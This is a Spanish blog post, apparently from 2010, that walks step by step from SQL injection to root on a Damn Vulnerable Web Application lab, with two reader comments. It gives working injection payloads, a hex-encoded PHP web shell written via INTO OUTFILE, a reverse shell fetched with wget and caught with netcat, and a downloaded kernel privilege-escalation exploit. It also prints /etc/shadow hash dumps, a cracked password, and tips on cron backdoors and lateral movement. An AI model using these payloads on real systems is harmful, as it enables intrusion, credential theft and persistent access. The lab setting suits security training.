viernes, 3 de septiembre de 2010

De SQL Injection a Root

Imagino que todos alguna vez hemos oído que una SQL Injection en un servidor con una base de datos "no interesantes" como simples noticias o anuncios tampoco es tan grave ni puede ir mucho más lejos que el robo de las noticias...

Vamos a ver cómo un atacante puede aprovecharse de una mala configuración de MySQL, Aplicación PHP y servidor web para hacerse root en la máquina con una "inofensiva" SQL Injection.

Para el ejemplo usaré la aplicación Damn Vulnerable Web Application, una aplicación web programada con la idea de servir de banco de pruebas de seguridad web, pudiendo practicar distintas técnicas contra la misma.
Una anotación, si intentáis probar la aplicación montándola en otro servidor que no sea desde el que solicitáis la web no os va a dejar acceder debido al fichero .htaccess que tiene incluído, tendréis que modificarlo o borrarlo.

Lo primero es localizar la inyección SQL, existen múltiples formas, desde el uso de herramientas de código hasta el uso de herramientas automatizadas pasando por el uso de proxys interceptores que permiten modificar las peticiones antes de ser enviadas.
En éste caso, y por ser lo más fácil para el ejemplo, simplemente probaremos a introducir una comilla para ver cómo reacciona la aplicación (en SQL las comillas se utilizan para crear la sentencia SQL, por lo que si la aplicación acepta la misma romperemos la cadena SQL y provocaremos un error).

Aquí vemos el funcionamiento normal de la aplicación al buscar el ID número 1:



Y aquí lo que ocurre al introducir ' en el parámetro id:


Ahora debemos observar el error para entender cómo se construye la sentencia SQL:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

Si nos fijamos veremos que sale el 1' que nosotros introdujimos, por lo que imaginamos que la consulta es algo similar a lo siguiente:
$consulta="SELECT campos FROM tabla WHERE id = '$id' "

Al añadir nosotros la comilla formamos la siguiente consulta SQL:
$consulta="SELECT campos FROM tabla WHERE id = '1'' "

Por lo que dejamos la consulta SQL abierta y la aplicación nos devuelve un error avisándonos de ello.
De hecho, si probamos a introducir dos comillas cerraremos correctamente la sentencia SQL y veremos lo siguiente:


Llegados a éste punto tenemos que saber cuántas columnas se están usando en la consulta para poder hacer un UNION con cualquier otra tabla a la que el usuario que conecta con MySQL tenga acceso.

Para saber el número de columnas que tiene la consulta usaremos el comando ORDER BY que se utiliza para indicarle al motor de mysql el campo por el que ha de ordenar, se puede indicar un número o el nombre del campo.

Para ello empezaremos por el número uno e iremos incrementando hasta que no de error ya que en el momento que de error nos hemos pasado (no se puede ordenar por una columna que no existe).

Importante fijarse en que introducimos la comilla, la sentencia order by indicando el número de columna e introducimos los carácteres /*, usados en MySQL para indicar un comentario y así poder cerrar la consulta a nuestro gusto.

Continuamos hasta que encontramos un error que nos indica que la columna número 3 no existe en la consulta:

Ahora sabemos que la consulta usa dos columnas y podemos hacer la consulta con UNION:



Si nos fijamos la aplicación sigue devolviendo los valores de la columna y nosotros queremos que se muestren los nuestros del union, para ello introduciremos un condicional que jamás se cumple, AND 1 = 2:



Ya podemos inyectar la consulta que queramos, empezaremos por ver el usuario que conecta con la base de datos, el nombre de la misma y la versión de MySQL, para ello sustituimos el segundo campo por la consulta concat(user(),0x3a,database(),0x3a,@@version) (concat se usa para concatenar varios campos seguidos y 0x3a es el valor hexadecimal de la coma).


Como vemos el usuario que conecta a la base de datos es root, una mala elección como veremos más alante.

Una vez llegado hasta aquí se puede decidir enumerar las bases de datos usando para ello el "catálogo" de base de datos (base de datos information_schema y sólo para versiones MySQL >= 5) o intentar escribir en ficheros.
Para comprobar si podemos escribir en ficheros necesitamos comprobar el permiso file_priv y podemos hacerlo consultando la base de datos mysql (en caso de tener acceso) o el information_schema (ésta segunda suele ser más comun el que sea accesible).

Cambiamos nuestra inyección de código SQL por lo siguiente:
'+and+1=2+union+all+select+1,file_priv+FROM+mysql.user+WHERE+mysql.user.user+=0x726f6f74/*
Como podemos observar en el condicional de comprobar el usuario hemos usado el valor hexadecimal de root para evitar tener que escribir comillas.



Como podemos observar tenemos permisos para escribir en ficheros.

Ahora intentamos escribir en un fichero con la inyección: 1'+and+1=2+union+all+select+1,2+into+outfile+"/tmp/test.txt"/*


Y como vemos, aparte de haber escrito exitosamente en un fichero, hemos obtenido la ruta de instalación de la aplicación (puede sernos útil en múltiples ocasiones).

Vamos a comprobar el resultado con el comando load_file de MySQL, para ello inyectamos:
1'+and+1=2+union+all+select+1,load_file("/tmp/test.txt")/*


Como vemos, en el fichero se han escrito el 1 y el 2 que inyectamos en la consulta anteriormente. Ahora vamos a inyectar algo más útil, un pequeño código que nos permita ejecutar comandos del sistema operativo, para ello usaremos el siguiente código , quedándose la inyección en:
1'+and+1=2+union+all+select+0x3c3f2073797374656d28245f524551554553545b27636f6d616e646f275d293b203f3e,null+into+outfile+"/var/www/dvwa-1.0.6/dvwa/dvwa/images/rce.php"/* (una vez más usamos hexadecimal). Aquí tengo que decir que a la carpeta images le he dado permisos 777 para que evitar complicar las cosas (además de que es bastante común esos permisos en carpetas del estilo).
Comentar que se ha sustituido la segunda columna por un valor null, eso se traducirá luego en que en la salida de pantalla se mostrará el \N correspondiente al null y comentar también que gracias a que anteriormente el error de SQL nos devolvió la ruta de la aplicación podemos saber donde se encuentra la aplicación (y para encontrar la carpeta images basta con mirar la ruta del logo de la aplicación).

Una vez realizada la inyección la shell está lista para usarse.


Ahora vamos a descargar una shell inversa en php, concretamente la de pentestmonkey.

Pedimos el fichero http://192.168.1.36/dvwa-1.0.6/dvwa/dvwa/images/rce.php?comando=wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz y con ello conseguimos bajar la shell (no está configurada del todo, por lo que lo correcto es subirla a algún lado ya configurada para nosotros y no modificarla por ssh como voy a hacer yo...)

Y ahora para descomprimirla: http://192.168.1.36/dvwa-1.0.6/dvwa/dvwa/images/rce.php?comando=tar%20zxf%20php-reverse-shell-1.0.tar.gz

Antes de ejecutarla debemos dejar un netcat a la escucha para que reciba la shell:
z0mbiehunt3r@d3im0s:~$ nc -l 1234

Ahora vamos a la dirección de la shell:
http://192.168.1.36/dvwa-1.0.6/dvwa/dvwa/images/php-reverse-shell-1.0/php-reverse-shell.php

Y observamos la shell que tenemos en el netcat:



Nos dirigimos al directorio /tmp/:
sh-2.05b$ cd /tmp/

Y ahora toca descargar, compilar y ejecutar el exploit para escalar privilegios a root, para ello usaremos un exploit de hace unos días que afecta a las versiones de Kernel menores a la 2.6.31-rc1, podemos encontrarlo en exploit-db.com


sh-2.05b$ wget http://www.exploit-db.com/download/14814

Y veremos cómo se baja correctamente:



Ahora lo compilamos y ejecutamos:

$ mv index.html exploit.c
$ gcc exploit.c -o exploit


Tras unos segundos comprobamos qué usuario somos:

$ ./exploit
whoami

root

Debido al uso de esta php-shell no veremos la salida del exploit, pero aquí pongo la misma ejecutada por ssh en la misma máquina:


Bingo! Ya somos root en la máquina, ahora sólo quedaría sacar el fichero /etc/shadow, crackear las contraseñas, asegurarnos el acceso al servidor con una backdoor (por ejemplo, de forma rápida podemos poner una tarea cron que ejecute una shell inversa de meterpreter) e intentar usarlo para saltar a otras máquinas de la red...

Voy a poner un pequeño ejemplo de cómo sacar las contraseñas mediante el programa PasswordsPro (está programado para Windows, pero en Wine corre sin problemas):

Primero extraemos el contenido de /etc/passwd y de /etc/shadow:

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
skyn3t:x:1000:1000:skyn3t,,,:/home/skyn3t:/bin/bash
[...]
mysql:x:115:122:MySQL Server,,,:/var/lib/mysql:/bin/false
test:x:1001:1001:,,,:/home/test:/tmp/consola


cat /etc/shadow
root:$6$QqRZ8m6.$VqnCDty5HAuR57OgWv9xIJMu1OYDrOVMRVJsccwyd4gTP1qXoPI3NGgci3FW7rwMUOIqubGCgoXQg2Mt3OU6x0:14568:0:99999:7:::
skyn3t:$6$QqRZ8m6.$VqnCDty5HAuR57OgWv9xIJMu1OYDrOVMRVJsccwyd4gTP1qXoPI3NGgci3FW7rwMUOIqubGCgoXQg2Mt3OU6x0:14568:0:99999:7:::
[...]
mysql:!:14776:0:99999:7:::
test:$6$GQqCpAqL$tqLY1TW2/O5z0hvNNzsOBpk7oNqRg6yUe/OXFxi8SfHQzHPzhZRxkt588BvRoPeaH.Aurz53zVOEY11I.L5s/0:14852:0:99999:7:::

Y ahora ponemos a correr el programa (la versión demo sólo deja un hash a la vez):


Como vemos, el password del usuario skyn3t es t800 (un alarde de originalidad, sí, jeje).

Bueno, hasta aquí esta entrada, saludos a todos.

EDITO: Si queréis leer más acerca de SQL Injection os recomiendo www.exploit-db.com, ahí tenéis muy buena información de todo...

3 comentarios:

  1. Buenas Nolla, al fin, varios meses después y cn ciertos cambios laborales por algunas d las partes jeje, estoy leyendo tu blog. Mas vale tarde q nunca,no?? La verdad es q me está gustando mucho y mira, lo he hecho antes de 2011. Suerte y a ver si hablamos. Merino

    ResponderEliminar
  2. lo pondré en practica, gracias

    ResponderEliminar